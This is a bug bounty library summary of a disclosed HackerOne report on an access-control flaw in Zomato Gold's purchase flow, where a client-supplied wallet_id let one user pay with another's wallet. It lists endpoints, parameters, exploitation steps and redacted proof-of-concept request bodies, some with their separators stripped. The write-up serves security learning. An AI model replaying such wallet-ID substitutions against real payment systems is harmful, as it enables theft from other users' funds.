# Availing Zomato gold by using a random third-party `wallet_id`

Zomato Gold purchase flow trusted a client-supplied wallet_id without verifying ownership, letting any user buy membership using another user's third-party wallet.

- Payout: $2,000
- Severity: critical
- Program: Eternal
- Found by: pandaaaa
- Disclosed: 2020-08-07
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/938021
- Library page: https://bugbountylibrary.com/r/h1%3A938021
- Tags: area:web domain:web impact:funds-loss impact:integrity kind:bounty platform:hackerone sev:critical tech:payment technique:param-pollution vuln:access-control vuln:business-logic vuln:fee-bypass vuln:idor

**Target:** Zomato Gold membership purchase endpoints (pk_handler.php, red/desktop_payments_handler.php)
**Root cause:** Backend accepted a client-supplied third-party wallet_id during payment without checking it belonged to the authenticated user_id, introduced by a code change 13 hours prior.
**Steps:**
1. Call `https://www.zomato.com/php/pk_handler.php` with `case=getpaymentsdata&phone=XXXX&cart_value=999.00&service_type=RED&online_payments_flag=1&country_id=X` to enumerate payment methods.
2. Identify a third_party_wallet with `status: active` and note its `wallet_id` (not your own).
3. POST to `https://www.zomato.com/php/red/desktop_payments_handler.php` with `payment_method_id=<victim_wallet_id>&payment_method_type=wallet&phone=XXXX&cartValue=999.00&action=payment&is_renewal=0&user_id=<your_user_id>&tnc_accepted=false`.
4. Observe `status: success`, `response_message: Capture Successful`, and `You are now a Zomato Gold member` — membership activated using the other user's wallet.
**How found:** Researcher noticed the payment request carried a wallet_id parameter and tested whether the backend validated ownership by substituting a different user's wallet_id.
**Exploitation:** Attacker selects wallet payment type, substitutes a random active third-party wallet_id belonging to another user, and completes the Gold purchase; the victim's wallet is debited and attacker gains Gold membership.
**Insight:** In multi-step payment flows, test whether server-side ownership checks exist on every identifier passed between steps — swap wallet_id/payment_method_id across accounts and see if the transaction still captures.

## Proof of concept (copied exactly from the original report)

**Payment handler request using another user's wallet_id**

```
payment_method_id=8XXXXXX1payment_method_type=walletphone=XXXXXXXXXXXXXXXXXcartValue=999.00voucher_code=action=paymentis_renewal=0user_id=1XXXXX2tnc_accepted=false
```

**First call fetching payment methods by phone**

```
case=getpaymentsdataphone=XXXXXXXcart_value=999.00service_type=REDonline_payments_flag=1country_id=X
```

